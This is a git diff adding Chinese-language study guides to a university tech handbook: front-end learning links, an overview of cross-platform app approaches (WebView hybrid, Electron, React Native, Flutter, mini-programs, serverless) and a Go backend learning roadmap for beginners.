+>不要重复造轮子（DRY）
+
+没错，别人做好的，已经很完善的，拿来用就行，除非你自己还有什么其他的需求。
+
+这个观念与其他计算机领域的观念是不一样的。这也是前端能够快速发展的重要原因之一。浏览器等设备平台对代码进行一个渲染和执行，我们必须遵守这个规范。
+
+但代码怎么样写，怎么样提高效率，怎么样支持多种写法都能得到一样的效果，这就是前端发展的一个关键。先辈们对代码进行了二次的一个编译。先辈们建立了一系列编译器等操作，使得前端能够在基石上向上发展。
+
+我们不必一板一眼的编写非常冗余的 HTML\CSS\JS 代码，而是编写特定语法的代码，然后通过代码编译成浏览器等平台可识别的 HTML\CSS\JS\其他的代码。
+
+这不仅使得我们前端开发的效率大大提高，还能把代码移植到其他平台，实现跨平台的功能。所以这才诞生出了 postcss，vue，emmet 等高效而又实用的成果。
+
+要说，前端为什么发展这么快，很重要的因素就是它非常热衷于开源。通过开源，大家可以一起维护一个项目，并通过传播，让其他人在它的基础上继续发展，逐渐壮大。你可以直接在前人的基础上继续发展，可以快速建立自己的生态，发现并合力解决各种 BUG。
+
+- MDN 是个适合初学和文档查阅的网站 里面有学习前端的全流程
+<https://developer.mozilla.org/zh-CN/docs/learn>
+
+- roadmap上的前端路线图
+<https://roadmap.sh/frontend>
+
+- 前端框架
+  - <https://cn.vuejs.org/>
+  > 在官方文档学习 Vue 的过程中，强烈建议你在左上角 `API风格偏好` 中，改为组合式
+
+  - <https://zh-hans.react.dev/>
+
+  > 在官方文档学习 React 的过程中，强烈建议不要在 Class 写法停留太久，要速速学习 Hook 写法
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.4附录2：大前端开发.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.4附录2：大前端开发.md
new file mode 100644
index 0000000..1a58a43
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.4附录2：大前端开发.md
@@ -0,0 +1,19 @@
+# 附录 2：大前端开发
+
+这里我们讲讲前端三剑客和前端框架
+
+如下为 roadmap 上前端的路线
+<https://roadmap.sh/frontend>
+
+- 前端三剑客
+  - <https://www.w3school.com.cn/html/html5_intro.asp>
+  - <https://www.w3school.com.cn/css/index.asp>
+  - <https://www.w3school.com.cn/js/index.asp>
+
+- 前端框架
+  - <https://cn.vuejs.org/>
+  > 在官方文档学习 Vue 的过程中，强烈建议你在左上角 `API风格偏好` 中，改为组合式
+
+  - <https://zh-hans.react.dev/>
+
+  > 在官方文档学习 React 的过程中，强烈建议不要在 Class 写法停留太久，要速速学习 Hook 写法
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.5附录3：跨端开发.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.5附录3：跨端开发.md
new file mode 100644
index 0000000..fa04de1
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.5附录3：跨端开发.md
@@ -0,0 +1,327 @@
+# 附录 3：跨端开发
+
+> 人文 + 技术 + 经验
+>
+> author：少轻狂
+
+## 何为跨端：孙行者、者行孙
+
+简单来说，就是一套代码，能在多个平台上跑。
+> 孙行者，行者孙，者孙行.......者行孙，孙者行，行孙者
+
+例如，你可以编写一套前端代码，然后在 Web、HarmonyOS、OpenHarmony、Android、Ios、Macos、Linux、Windows、小程序（微信、QQ、抖音、支付宝...）上运行。
+
+## 为何跨端：三生三世皆为你
+
+随着业务的发展，产生了越来越多的业务场景，同时随着技术的发展，产生了 越来越多的端，PC 端 (Windows、Mac) ，移动端 (安卓、iOs)、web 端、loT 设备 (车载设备、手表) 等。
+
+但是，很多互联网企业制作应用时，往往需要使应用支持多个系统，但是每个系统的应用功能也需保持一致。为此，传统做法是各端安排研发人员进行开发相同功能。这不仅造成了资源冗余、浪费，开发、维护的成本也特别高。通常情况下，开发的周期也是比较长的。
+
+新兴企业往往难以投入很多人力、资金到这部分。他们往往喜欢一个岗位干多份事情：既让你会 app 开发，又要你开发小程序，web 页面，还要让你自己干全栈。
+
+这时候，跨端就很好的解决了这方面的难题。
+
+在现代化前端发展的过程中，跨端领域也正逐渐火热。
+
+就比方说，现如今，桌面端 QQ 已经全面基于前端跨端方式开发，例如 MacOS QQ、Linux QQ、Win QQ（还在内测）。
+
+我们市场上也能看到很多耳熟能详的应用他们都是基于前端跨端开发的：Steam 桌面版、钉钉、VsCode 等。
+
+## 优点
+
+1. 研发效率高：学习成本低、多端一致性高
+2. 用户体验好：稳定性好、性能体验好
+3. 动态化：支持动态化下发，满足日益增长的业务需求
+
+## 如何跨端：港通天下
+
+跨端其实不是一个新兴的名词。跨端又称跨平台。这其实很多语言都非常崇拜跨平台概念，原生支持跨平台。例如 JAVA 语言，它不仅可以开发安卓应用、其他操作系统的应用都可以开发。例如微软的.NET，为跨平台而生。
+
+那么，前端如何实现的跨端呢？
+
+当你问这个问题的时候，是否注意到一件事：web 前端原本就是跨平台的，跨端的。我们编写一套前端网页的代码，然后这个网页就能够通过手机各种系统、电脑各种系统通过浏览器访问。这不就已经跨平台、跨端了嘛？
+
+是不是很奇妙？欸，这时候又有小伙伴要问了：那既然已经实现了跨端，那下面的内容不就没啥用了吗，我们为啥要学跨端呢？
+
+其实不然。浏览器在移动设备上岂能和 App 相比。对于企业来说，一个 App 相比于网站，更能让用户产生粘性，留住用户，提高市场占有率。这就像移动端的哔哩哔哩，硬是要你用他家的 App，否则就没有优秀的体验可言。
+
+废话不多说，来看看主要技术方案。
+
+## 方案简述
+
+如果，让你思考如何让 web 代码支持跨平台，你会怎么做呢？
+
+以下是简单的思路：
+
+1. 各个平台的容器能够运行这一套 web 代码。
+2. web 代码编译成各个平台能使用的代码，然后再编译成相应软件。
+3. ...
+
+现有的技术方案如下：
+
+| 技术方案     | 视图层           | 优点                                                                  | 缺点                                                 | 实践                             |
+| ------------ | ---------------- | --------------------------------------------------------------------- | ---------------------------------------------------- | -------------------------------- |
+| hybrid 方案   | webview          | 1. 开发成本低<br />2. CSS 全集<br />3. 一致性好<br />4. 生态最好<br /> | 1. 性能中等<br >                                     | 1. 浏览器<br />2. Electron<br /> |
+| 原生渲染方案 | 原生组件         | 1. 性能好<br />                                                       | 1. CSS 子集<br />2. 一致性一般<br />                  | 1. React Native<br />            |
+| 自渲染方案   | Skia             | 1. 性能最好<br />2. 一致性最好<br />                                  | 1. CSS 子集<br />2. 开发成本高<br />3. 生态一般<br /> | 1. Flutter<br />                 |
+| 小程序方案   | webview+ 原生组件 | 1. 开发成本低<br />2. CSS 全集<br />3. 一致性好<br />                  | 1. 生态一般<br />                                    | 1. 微信小程序<br />              |
+
+### Hybrid 方案
+
+简单理解，就是浏览器套壳。
+
+它是基于 WebView 渲染，通过 JS Bridge 把一部分系统能力开放给 JS 调用。
+
+![](https://cdn.xyxsw.site/235436487dsfhtwuytjyfj.png)
+
+WebView 容器的工作原理是基于 Web 技术来实现界面和功能，通过将原生的接口封装、暴露给 JavaScript 调用，JavaScript 编写的页面可以运行在系统自带的 WebView 中。这样做的优势是，对于前端开发者比较友好，可以很快地实现页面跨端，同时保留调用**原生的能力**，通过搭建桥接层和原生能力打通。但这种设计，跨端的能力受限于桥接层，当调用之前没有的原生能力时，就需要增加桥。另外，浏览器内核的渲染独立于系统组件，无法保证原生体验，**渲染的效果会差不少**。
+
+#### 浏览器
+
+浏览器就是一种历史悠久的跨平台方案。
+
+网页跨平台不意味着浏览器也是跨平台的，浏览器的可执行文件还是每个平台单独开发和编译的，但是他们支持的网页解析逻辑一样，这样上面跑的网页就是跨平台的。
+
+浏览器提供了一个容器，屏蔽了底层差异，提供了统一的 api（dom api），这样就可以实现同一份代码跑在不同平台的统一的容器里。这个容器叫做浏览器引擎，由 js 引擎、渲染引擎等构成。
+
+![](https://cdn.xyxsw.site/fdegetyjyrj.png)
+
+#### PWA
+
+尽管 PWA 的出现不是为了“跨端”，但他们对于“跨端”的天然支持，能够让一套代码运行在 PC、移动两端，就再一次产生了跨端设计实施的可能性。
+> 小程序的“鼻祖“，但如今在国内已消亡。
+
+PWA（Progressive Web App）是一个基于 web 技术构建的应用，并具备了像原生应用一样的体验、性能以及功能。它通过使用 Service Worker 缓存静态资源实现离线可访问，提高网页加载速度并且通过添加到主屏幕来给用户带来更好的体验。
+
+PWA 是 Google 于 2016 年提出的概念，于 2017 年正式落地，于 2018 年迎来重大突破，全球顶级的浏览器厂商，Google、Microsoft、Apple 已经全数宣布支持 PWA 技术。
+
+纵观现有 Web 应用与原生应用的对比差距，如**离线缓存、沉浸式体验**等等，可以通过已经实现的 Web 技术去弥补这些差距，最终达到与原生应用相近的用户体验效果。
+
+**PWA=WEB 网页 + 离线缓存 + 消息推送**
+
+> 在 2017 年 7 月 5 日“百度 AI 开发者大会”（Baidu Create2017）——Web 生态分论坛上，百度开发者介绍了百度 Lavas 解决方案，帮助开发者快速搭建 PWA 应用。
+> lavas 不是一个框架，而是一个基于 vue 的 PWA 解决方案，通过 lavas 导出的模板帮助开发者解决了接入 PWA 过程中遇到的问题：
+>
+> - Service Worker 生成
+> - Service Worker 更新，以及 sw 更新后的操作
+> - App Skeleton，页面渲染完成之前的页面框架
+> - 页面切换前进后退过渡动画
+> - App Shell，集成了 vuetify 组件库
+> - 主题切换
+> - vue 的图标解决方案...
+
+而现在 lavas 官网已经无法访问，这在很大程度上可以反应 PWA 在国内业务的一个现状。
+
+#### Electron
+
+![](https://cdn.xyxsw.site/wettrjryju.png)
+
+Electron 是使用 JavaScript，HTML 和 CSS 构建跨平台的桌面应用程序的框架，可构建出兼容 Mac、Windows 和 Linux 三个平台的应用程序。
+
+Electron 的跨端原理并不难理解：它通过集成浏览器内核，使用前端的技术来实现不同平台下的渲染，并结合了 Chromium、Node.js 和用于调用系统本地功能的 API 三大板块。
+
+- Chromium 为 Electron 提供强大的 UI 渲染能力，由于 Chromium 本身跨平台，因此无需考虑代码的兼容性。最重要的是，可以使用前端三板斧进行 Electron 开发。
+- Chromium 并不具备原生 GUI 的操作能力，因此 Electron 内部集成 Node.js，编写 UI 的同时也能够调用操作系统的底层 API，例如 path、fs、crypto 等模块。
+- Native API 为 Electron 提供原生系统的 GUI 支持，借此 Electron 可以调用原生应用程序接口。
+
+### 原生渲染方案
+
+使用 JS 开发，通过中间层桥接后使用原生组件来渲染 UI 界面。例如，在 Android 开发中是使用 Kotin 或 Java 来编写视图;在 iOS 开发中是使用 Swift 或 Objective-C 来编写视图。
+
+#### React Native
+
+React Native 是一个由 Facebook 于 2015 年 9 月发布的一款开源的 JavaScript 框架，它可以让开发者使用 JavaScript 和 React 来开发跨平台的移动应用。
+
+![](https://cdn.xyxsw.site/eryyjyuj.png)
+
+React Native 的思路是最大化地复用前端的生态和 Native 的生态，和 WebView 容器的最大区别在于 View 的渲染体系。React Native 抛弃了低效的浏览器内核渲染，转而**使用自己的 DSL 生成中间格式**，然后映射到对应的平台，**渲染成平台的组件**。相对 WebView 容器，体验会有一定的提升。不过，渲染时需要 JavaScript 和原生之间通信，在有些场景可能会导致卡顿。另外就是，渲染还是在 Native 层，要求开发人员对 Native 有一定的熟悉度。
+
+### 自渲染方案
+
+简单来说，就是既不使用 webview 又不使用原生组件，而是使用自绘组件。
+
+#### Flutter
+
+flutter 是近些年流行的跨端方案，跨的端包括安卓、ios、web 等。它最大的特点是渲染不是基于操作系统的组件，而是直接基于绘图库（skia）来绘制的，这样做到了渲染的跨端。
+
+Flutter 与上述 Recat Native、WebView 容器本质上都是不同的，它没有使用 WebView、JavaScript 解释器或者系统平台自带的原生控件，而是有一套自己专属的 Widget，底层渲染使用自身的高性能 C/C++ 引擎自绘。
+
+### 小程序方案
+
+使用小程序 DSL + JS 开发，通过中间层桥接后调用原生能力，使用 webview 来渲染 UI 界面。
+
+从小程序的定位来讲，它就不可能用纯原生技术来进行开发，因为那样它的编译以及发版都得跟随微信，所以需要像 Web 技术那样，有一份随时可更新的资源包放在远程，通过下载到本地，动态执行后即可渲染出界面。
+
+但如果用纯 web 技术来开发的话，会有一个很致命的缺点那就是在 Web 技术中，UI 渲染跟 JavaScript 的脚本执行都在一个单线程中执行，这就容易导致一些逻辑任务抢占 UI 渲染的资源，这也就跟设计之初要求的快相违背了。
+
+因此微信小程序选择了 Hybrid 技术，界面主要由成熟的 Web 技术渲染，辅之以大量的接口提供丰富的客户端原生能力。同时，每个小程序页面都是用不同的 WebView 去渲染，这样可以提供更好的交互体验，更贴近原生体验，也避免了单个 WebView 的任务过于繁重。
+
+微信小程序是以 webview 渲染为主，原生渲染为辅的混合渲染方式。
+
+小程序的架构模型有别与传统 web 单线程架构，小程序为双线程架构。
+
+微信小程序的渲染层与逻辑层分别由两个线程管理，渲染层的界面使用 webview 进行渲染；逻辑层采用 JSCore 运行 JavaScript 代码。
+
+![](https://cdn.xyxsw.site/rtjyujyu.png)
+
+## 类前端开发：拿过来吧你
+
+现代的客户端开发平台继承和发扬了 Web 的 HTML 语言的方式来构建表现层开发平台，其中有代表性的是 XAML，Flex，JavaFX，Android 几个平台。他们都使用基于 XML 的描述性语言作为开发语言，并且提供可视化的开发环境，使用一种强类型的程序设计语言作为背后支撑。完成表现层开发工作的前端开发人员只需要熟练掌握表现层开发语言极其机制，熟练使用表现层开发工具，少量掌握背后的程序设计语言就可以很好地完成表现层开发工作。主要原因是基于 XMl 的方式设计 UI，可以使得视图层和逻辑层进行一个分离，更清晰、更灵活。XML 可以进行一个可视化开发，门槛低，易上手。
+
+因此，有许多语言都采用类前端的方式进行视图层的开发，然后其他语言进行逻辑层的开发。
+
+## .NET
+
+微软的.NET 就是基于 XAML 开发视图层，支持可视化开发（低代码）。
+
+## 鸿蒙 ArkTs
+
+基于 JS 扩展的类 Web 开发范式的方舟开发框架包括应用层（Application）、前端框架层（Framework）、引擎层（Engine）、平台适配层（Porting Layer）
+
+JS UI 框架采用类 HTML 和 CSS Web 编程语言作为页面布局和页面样式的开发语言，页面业务逻辑则支持 ECMAScript 规范的 JavaScript 语言。JS UI 框架提供的类 Web 编程范式，可以让开发者避免编写 UI 状态切换的代码，视图配置信息更加直观。
+
+![](https://cdn.xyxsw.site/3465ytyjyjy.png)
+
+## 跨端不只是跨端：爱你的全世界
+
+## 什么样的场景可以跨端？
+
+跨端应用能够真正推进下去，除了有技术保障外，还需要合适的需求场景，使用 PC 端的功能型产品主要是需要大屏带来的“效率”（办公、个人管理、教育）与“沉浸”（数据、金融、游戏、影视）体验。
+
+![](https://cdn.xyxsw.site/ertehry.png)
+
+![](https://cdn.xyxsw.site/ertjyunyunm.png)
+
+依赖 PC、移动双端进行经营管理的电商场景，也有很多内容适合跨端。
+
+## 跨端 UI 如何设计
+
+跨端的 UI 设计不仅仅是响应式，布局没问题就行，而是从 PC 端“网页”到移动端“App”的体验映射。
+
+1. 双端基础组件设计规则对齐（对前端来说是同类组件 API、属性对齐以及组件功能形态映射）
+
+![](https://cdn.xyxsw.site/ewttrhjy.png)
+
+Select 对应 Picker
+
+1. 布局响应规则（行列变化，聚合变化等）；
+
+![](https://cdn.xyxsw.site/20191118PGkkRz.jpg)
+
+卡片布局的一种聚合变化
+
+1. 交互形态响应规则（导航、交互模式等）;
+
+![](https://cdn.xyxsw.site/20191118aoefIO.jpg)
+
+表单型弹窗对应新页面
+
+1. 不同场景的跨端策略，例如 Dashboard 页面的跨端应保证用户在首屏快速获取关键信息，下图的 Bootstrap 模板是一个错误示例，移动端的布局方式浪费首屏空间，降低用户获取关键信息的效率。
+
+![](https://cdn.xyxsw.site/20191118BrYZzg.jpg)
+
+Mobile first 不是唯一准则。进行具体场景的跨端设计时，我们会从两端场景出发重新对比分析用户的需求差异，明确体验的增强点与折损点。特别是电商中后台场景中：有些业务中用户的主阵地并不是在移动端，而是 PC 端，比如用户运营策略的设置；有些是两端分别承载不同的场景需求，比如任务的处理。
+
+## 高效开发++：人的生命是有限的
+
+## 前后端不分离
+
+当我们开始进行跨端开发的时候，我们会遇到一个很尴尬的问题。比如，我们要开发一个客户端或者说 APP，利用前端跨端技术开发。此时，我们不得不既要开发前端，又要涉及后端的部分内容。例如，获取相关数据之类的。此时，我们使用前后端分离的方式，在某些情境下就有可能不妥。尤其是仅个人开发，已经有代码洁癖，又要前后端分离，那显然是一种不明智的开发方式。所以，很多情况下，进行一个前后端不分离的方式开发前后端，或许是一个好的方法。
+
+## Serveless
+
+简而言之，就是**云函数（分布式）+ 云数据库（分布式）**。
+
+Serverless 字面意思是无服务，但并不代表再也不需要服务器了，而是指开发者不需要过多的考虑服务器的问题，计算资源作为服务出现而不是服务器的概念出现。那么 Serverlss，是对全部底层资源和操作的封装，让开发者专注于业务逻辑。
+
+![](https://cdn.xyxsw.site/gfhuewgfuiwe.png)
+
+Serverless = Faas (Function as a service) + Baas (Backend as a service)
+
+FaaS（Function-as-a-Service）是服务商提供一个平台、提供给用户开发、运行管理这些函数的功能，而无需搭建和维护基础框架，是一种事件驱动由消息触发的函数服务
+
+BaaS（Backend-as-a-Service）后端即服务，包含了后端服务组件，它是基于 API 的第三方服务，用于实现应用程序中的核心功能，包含常用的数据库、对象存储、消息队列、日志服务等等。
+
+### 适用场景
+
+Serverless 带来的其实是前端研发模式上的颠覆。相对以往纯前端研发的方式，Serverless 屏蔽底层基础设施的复杂度，后台能力通过 FaaS 平台化，我们不再需要关注运维、部署的细节，开发难度得到了简化，前端开发群体的边界就得以拓宽，能够参与到业务逻辑的开发当中，更加贴近和理解业务，做更有价值的输出。
+
+- 场景 1: 负载有波峰波谷
+
+波峰波谷时，机器资源要按照峰值需求预，比如医院挂号这需求，假设在每天 10 点放号预约，那 10 点就会有峰值的出现，为了这个峰值并发的考虑，准备了相对应性能（固定）的服务器，然而在波谷时机器利用率又明显下降，不能进行资源复用导致浪费，而 serverless 不用为了波峰去做准备，不用留住水位，支持弹性缩扩容，在你高峰时再在进行动态扩容
+
+- 场景 2: 定时任务（报表统计等）
+
+服务空闲时间来处理批量数据，来生成数据报表，通过 Serverless 方式，不用额外购买利用率并不高的处理资源，比如每日的凌晨，分析前一天收集的数据并生成报告
+
+- 场景 3: 小程序开发（云开发）
+
+比如微信小程序开发 m 在实际开发中，如果我们不用云开发的 openid 获取流程，而用传统的方式，你就知道 openid 的获取是非常繁琐的一个过程，前端需要通过 wx.login 获取一个 code 值（具有时效性）再通过 code 值去后台用 appsecret 去调取 openid。
+
+### 特点
+
+#### 事件驱动
+
+- 云函数由事件驱动，即事件触发函数
+- Serverless 应用不会类似于原生的[监听 - 处理] 类型的应用一直在线，而是按需启动
+- 事件的定义可以很丰富，一次 http 请求，一个文件上传，一次数据库记录修改，一条消息发送等等都可以被定义为事件
+
+#### 单事件处理
+
+- 触发启动的一个云函数实例，一次只处理一个事件
+- 无需在代码内考虑高并发高可靠性，可以专注于业务
+- 通过云函数实例的高并发能力，实现业务高并发
+
+![](https://cdn.xyxsw.site/fhuieufsiofhei.png)
+
+#### 自动弹性压缩
+
+- 由于云函数事件驱动及单事件处理的特性，云函数通过自动的伸缩来支持业务的高并发
+- 针对业务的实际事件或请求数，云函数自动弹性合适的处理实例来承载实际业务量
+- 在没有事件或请求时，无运行实例，不占用资源
+
+#### 无状态开发
+
+- 云函数运行时根据业务弹性，可能伸缩到 0，无法在运行环境中保存状态数据
+- 分布式开发中，均需要保持应用的无状态，以便以水平伸缩
+- 可以利用外部服务、产品，例如数据库或缓存，实现状态数据的保存
+
+## 理论结束 现在进入实践教学
+
+## uniapp 实战
+
+uni-app 是一个使用 Vue.js 开发所有前端应用的框架，开发者编写一套代码，可发布到 iOS、Android、Web（响应式）、以及各种小程序（微信/支付宝/百度/头条/飞书/QQ/快手/钉钉/淘宝）、快应用等多个平台。
+
+开发者按 uni-app 规范编写代码，由编译器将开发者的代码编译生成每个平台支持的特有代码：
+
+- 在 web 平台，将.vue 文件编译为 js 代码。与普通的 vue cli 项目类似
+- 在微信小程序平台，编译器将.vue 文件拆分生成 wxml、wxss、js 等代码
+- 在 app 平台，将.vue 文件编译为 js 代码。进一步，如果涉及 uts 代码：
+- 在 Android 平台，将.uts 文件编译为 kotlin 代码
+- 在 iOS 平台，将.uts 文件编译为 swift 代码
+
+![](https://cdn.xyxsw.site/uni-function-diagram.png)
+
+1. 区分页面和组件的区别：页面和组件的生命周期
+2. 云函数、云数据库
+3. 设计稿转代码（[https://ide.code.fun/projects/619b7f3804575d001169ac66/pages/6442c187b98f5d001164a6a4](https://ide.code.fun/projects/619b7f3804575d001169ac66/pages/6442c187b98f5d001164a6a4)）
+
+## vitesse-lite-py 实战
+
+[https://github.com/MarleneJiang/vitesse-lite-py](https://github.com/MarleneJiang/vitesse-lite-py)
+
+1. 域间通信
+2. laf 云函数
+3. 设计稿转代码（[https://ide.code.fun/projects/619b7f3804575d001169ac66/pages/6442c187b98f5d001164a6a4](https://ide.code.fun/projects/619b7f3804575d001169ac66/pages/6442c187b98f5d001164a6a4)）
+
+## Electron 实战
+
+1. Frameless：桌面端不仅仅只有方框矩形，而是想你所想。
+
+![](https://cdn.xyxsw.site/df77f01037fc4ceb8d4aa8f06168fc95~tplv-k3u1fbpfcp-zoom-in-crop-mark_4536_0_0_0.gif)
+
+## 参考作业
+
+尝试使用某种跨端框架和云函数，实现一个查看课表应用，形式不限。推荐使用 hdu-lis 包拿到数据。
+
+![](https://cdn.xyxsw.site/Snipaste_2023-04-22_18-57-44.png)
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.2前端部分.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2前端部分.md
new file mode 100644
index 0000000..c5c8cbf
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2前端部分.md
@@ -0,0 +1,3 @@
+# 前端部分
+
+本章节内容目前主要取自杭助面试小任务，后续会逐步完善。
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.1基础部分.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.1基础部分.md
new file mode 100644
index 0000000..c887d45
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.1基础部分.md
@@ -0,0 +1,209 @@
+# 基础部分
+
+作者：[iyear](https://github.com/iyear) 、后端的小伙伴们
+
+::: tip 🎇
+Hello~这里是杭电助手技术部后端，无论基础如何，您都可以跟随着这篇文章的指引，使用 Golang 开发一个基于 Web 的简易登录系统后端部分。
+:::
+本任务将涉及以下知识：
+
+- Go 语言（又称 Golang）开发环境搭建、基础语法知识、Gin 框架的使用
+- HTTP 基础知识
+- 登录系统的接口设计
+- 一点点的工程基础
+
+不需要担心，后续我们将给出充足的资料和路线，相信这些对你一定不是难题~
+
+> 在学习初期，视频可以帮助你快速理解并踏入大门，但在学习的后期，文档&博客才拥有第一手资料和最新动态 (视频就像你的教科书，更新的脚步永远跟不上技术)。<br/>在任务初期我们将给出对应的视频资料，在后期我们只给出图文资料。<br/>👏 当然，这不是强制要求：学的舒服是原则
+
+## 👋 初识 Go 语言 (Day 1)
+
+> Go（又称 Golang）是 Google 开发的一种静态，强类型、编译型、并发型的编程语言。其于 2009 年 11 月正式发布，成为开源代码项目。Go 的语法接近 C 语言，但其支持垃圾回收功能，开发效率远高于 C 语言。而其对海量并发的支持，以及在运行效率，低内存消耗方面的优异表现，也有人称其为互联网时代的 C 语言。
+
+<del>↑ 太官方了，我的评价是不如看资料 (</del>
+
+官网虽然是英文，但是非常非常的友好，近年还刚翻新过一次好看了许多，还有各种可爱的吉祥物插图。
+
+这只吉祥物囊袋鼠的英文学名为 **Gopher**，每位热爱 Golang 的开发者都会自称 **Gopher** (就像 jvaver 一样 (x)，而它的造型出于创始人之一 Rob Pike 的妻子之手。
+
+### 视频资料 (**P2-P3**)：
+
+<Bilibili bvid='BV1zR4y1t7Wj'/>
+
+### 文字资料：
+
+- Golang 官网 (非常好记：go.dev(eloper))
+  
+  <https://go.dev/>
+- 一些第三方的前景概览
+  
+  <https://www.topgoer.com/>
+
+### 补充资料：
+
+- [我使用 Golang 两年后的总结：优点和令人讨厌的怪癖](https://www.infoq.cn/article/ydmrvvr1ijaaih3eh5fw) - 比较客观的开发体验
+- [许式伟：我与 Go 语言的这十年](https://cloud.tencent.com/developer/article/1043859) - 七牛云 CEO、前 WPS 首席架构师、Go 语言布道师
+- [Go 一周年，一年前的今天](https://learnku.com/docs/go-blog/go-one-year-ago-today/6583) - 2010 年 Go Team 写下的一周岁博文。那时的 Go 还在一脸懵逼的状态蹒跚向前。
+- [Go Developer Survey 2022 Q2 Results - The Go Programming Language](https://go.dev/blog/survey2022-q2-results) - 2022 年 Golang 官方博客的调研结果报告。
+
+对比两篇博客，可以清晰地感受到 Golang 的发展之快：曾经还在娘胎里的 Golang，现在已经在云原生、微服务、CLI 程序、DevOps、区块链等领域大杀四方。
+
+## 😥 Golang 环境搭建 (Day1 - 2)
+
+Golang 是一门年轻的语言 (相比 Java & JavaScript)，它没有那么多的历史包袱，所以环境搭建在一众语言中可以算得上十分容易。同时 Golang 自带了丰富的工具链，许多 Gopher 的整个职业生涯中可能都不需要用到官方工具链以外的相关工具。
+
+::: tip 📌
+本小节还请同学们各显神通，由于不同计算机不同环境不同平台的区别，Golang 环境搭建各有区别。资料中将尽可能给出一些教程，但具体需同学们使用搜索引擎寻找最佳实践。出现问题在群内积极提问~
+:::
+
+对于 IDE 的选择：
+
+在这里推荐两个比较流行的 IDE
+
+首先是万能的 VSCode
+
+<https://code.visualstudio.com/>
+
+还有智能的 GoLand
+
+<https://www.jetbrains.com/go/>
+
+喜欢折腾的同学可以选择 VSCode 作为自己的开发工具，如果想能够马上上手学习的同学，可以使用 GoLand 作为自己的开发工具
+
+::: tip 🤭
+GoLand 可以使用教育邮箱学生认证白嫖噢~👀
+:::
+
+### 视频资料 (**P4-P6**)：
+
+<Bilibili bvid='BV1zR4y1t7Wj'/>
+
+### 文字资料：
+
+- VSCode 的爹亲自教你装 Golang 环境
+
+<https://learn.microsoft.com/zh-cn/azure/developer/go/configure-visual-studio-code>
+
+- 使用 GoLand 搭建
+
+<https://polarisxu.studygolang.com/posts/go/2022-dev-env/>
+
+### 补充资料
+
+> 这些文章只是帮助你理解的更透彻，看不懂完全没关系。甚至你完全可以跳过他们，在任务结束后再来看看，或许你会有更多收获。
+
+- Golang 依赖管理的前世今生：[一文搞懂 Go Modules 前世今生及入门使用 - 掘金](https://juejin.cn/post/6844904166310019086)
+- IDEA 系列学生认证教程 (用 GoLand 必看)：[学生邮箱白嫖 JetBrains 全家桶——保姆级教程](https://zhuanlan.zhihu.com/p/136497468)
+
+## 😕 Golang 基础语法的学习 (Day 1-8)
+
+Golang 的语法是 C/C++ 系的，在许多地方你都可以看到他们的影子，这对未来 C 的学习更有自顶向下的帮助。当然，如果你曾经用过 Java、Python，Golang 的语法你可能会不太习惯，这不会是问题~在熟悉语法后，你会发现“Golang 一把梭”是真实存在的 🤓。
+
+**对于基础语法的学习，无需一时学习过深，也不必花费过多时间在此**。**即使半懵半懂，在多次实践后也会渐渐领悟**
+
+本次任务并不需要用到反射、并发等高级特性 (学到时可选择性暂时避开)，最深只需要用到结构体与方法的相关知识。
+
+### 视频资料 (P9-P56 每集视频并不长，不要被吓到了喔)：
+
+<Bilibili bvid='BV1zR4y1t7Wj'/>
+
+### 文字资料：
+
+- 非常推荐的 Go Tour 中文版。Go Tour 是 **Go 官方为初学者打造的渐进式教程**，你可以跟随着它的步伐一点点探索 Go 语言。Go Tour 的代码都充满着它的**设计哲学与最佳实践**，是每位 Gopher 的必经之路。同时它也是**交互式的**，左侧是教程，右侧能直接敲代码，在网页上运行。
+
+<https://tour.go-zh.org/welcome/1>
+
+- 短小精湛的 Golang 入门教程，是 The Little Go Book 的中文翻译
+
+<https://learnku.com/docs/the-little-go-book>
+
+### 补充资料：
+
+- [Go by Example 中文版](https://gobyexample-cn.github.io/) - Go by Example 是对 Go 基于实践的介绍，包含一系列带有注释说明的示例程序。
+- [《Go 入门指南》](https://learnku.com/docs/the-way-to-go) - 《Go 入门指南》是《The Way to Go》的中文译本，本书专为 Golang 初学者量身定制。教程较老，小部分内容有点过时，但质量很高。
+- [《Go 语言 101》](https://gfw.go101.org/) - 《Go 101》详细描述了 Golang 部分底层原理、最佳实践、代码风格、常见错误，适合进一步深入阅读。
+- 《Go 语言圣经》 - 《The Go Programming》的中文版，是官方书籍。内容相当老，但包含着 Golang 的设计哲学与建设初期的思考和路线。
+
+## 🎯 HTTP 协议学习 (Day 9-10)
+
+如果你从未接触过协议二字，那 HTTP 协议将是你大学生涯最重要的协议之一，也是 Web 的基础。与其说是小任务的基础，我更想说这是对人类互联的探索。
+
+HTTP 协议起草与演进之路十分坎坷，但每一步都举足轻重，在人类历史上画下了浓墨重彩的一笔。
+
+### 文字资料：
+
+- 非常著名的阮一峰博客 **(他的博客可以从最早开始都过一遍，很多计算机科普可以说永不过时)**
+
+<https://www.ruanyifeng.com/blog/2016/08/http.html>
+
+- 图解系列非常有意思，最重要的是不止于介绍协议，更为你道来其历史设计的进程。本书不必在任务期间内看完，但我相信你会爱上它的。
+
+<https://book.douban.com/subject/25863515/>
+
+- 经典菜鸟教程，不过有点枯燥乏味。可以用于回顾和工具书查阅。
+
+<https://www.runoob.com/http/http-intro.html>
+
+#### 补充资料：
+
+- [《互联网时代》纪录片](https://www.bilibili.com/video/BV1uE411o7UW/) - 与 HTTP 没什么关系，但给当时的我带来极大的震撼和触动。互联网是人类连接的重要一步，是对人类自由、平等、互通之理念长达半个世纪的深刻贯彻。
+
+<Bilibili bvid='BV1uE411o7UW'/>
+
+> 原本稀薄的得以聚合，曾经蜷曲的得以伸展，容易被忽略的得以显现，可能被排斥的获得接纳：孤独的不再孤独，卑微的不再卑微，每一个生命绽放的声音，从来没有像这样韵味深长。
+
